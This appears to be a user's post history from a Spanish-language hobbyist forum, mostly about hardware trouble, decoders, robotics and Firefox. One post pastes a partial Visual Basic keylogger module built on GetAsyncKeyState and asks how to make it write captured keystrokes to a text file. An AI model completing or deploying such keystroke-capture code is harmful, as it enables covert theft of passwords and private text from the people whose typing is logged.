Mensajes

Tomo g-unit mira a ver si te gusta:


S4Lu2!!

Has probado a meter otros discos quizas tengas el lector mal, puede que el laser se haya estropeado, eso me paso a mi.

S4Lu2!!

pianista yo si quieres te puedo ayudar con el post y los tutos que hagas,ok?

S4Lu2!!

Vale, gracias por todo.

S4Lu2!!

Si pone que "imprime lo que tiene en el buffer", pero donde lo imprime en algun archivo.txt?? por que de eso no pone nada creo yo.

S4Lu2!!

OK asias por la ayuda.

S4Lu2!!

Hola quisiera saber si hay algun decodificador, algun tipo de software para  el nuevo modelo de ono digital??

S4Lu2!!

Miren tenia este codigo que lo he cogido del tema de la recopilación de links....

Y me gustaria saber que modificaciones son necesarias para poder ejecutarlo y que me mande las pulsaciones de las teclas a un archivo .txt

Código [Seleccionar] Expandir

'
'Módulo estándar basKeyLogger.bas
'
Option Explicit

Public bLogEnabled As Boolean

Function GetActiveKey() As Integer
         Static bStarted As Boolean
         Dim i%

  If Not bStarted Then
    'Inicializa el estado de las teclas llamando a
    'la función GetAsyncKeyState.
    '
    For i = 1 To 256
      Call GetAsyncKeyState(i)
    Next

    bStarted = True
  End If

  For i = 1 To 256
    'Obtiene la tecla pulsada actualmente.
    '
    If GetAsyncKeyState(i) Then
      GetActiveKey = i
     
      Exit For
    End If
  Next
End Function

Sub StopLog()
  bLogEnabled = False
End Sub

Sub LogKeys()
        Dim snTimer!
        Dim iActiveKey%
        Dim sChar$, sData$

  bLogEnabled = True

  Do While bLogEnabled
    snTimer = Timer
   
    Do While (Timer - snTimer) < 0.125
      'Espera 125 milisegundos hasta
      'la próxima pulsación.
    Loop
   
    iActiveKey = GetActiveKey
   
    Select Case iActiveKey
      Case vbKey0 To vbKey9, 32 To 47, vbKeyA To vbKeyZ
        sChar = Chr$(iActiveKey)
     
        sData = sData & sChar
     
      Case vbKeyReturn
        'Imprime lo que tiene en el buffer.
        '
        Debug.Print sData
       
        sData = vbNullString
      Case Else
        'Verifica otras teclas.
    End Select
  Loop

S4Lu2!!

Alguien tiene por hay algun manual o textos de iniciación a la robotica o sabe de alguna web?.

S4Lu2!!

1º-El firefox puede archivar las direcciones en favoritos y luego te vas a favoritos y eliges la web que kies.

2º-Con el firefox puedes ver el codigo fuente de cada página.

Así que instalate firefox si quieres, y si no cuando hagas el navegador lo posteas, aqui que lo probemos.

S4Lu2!!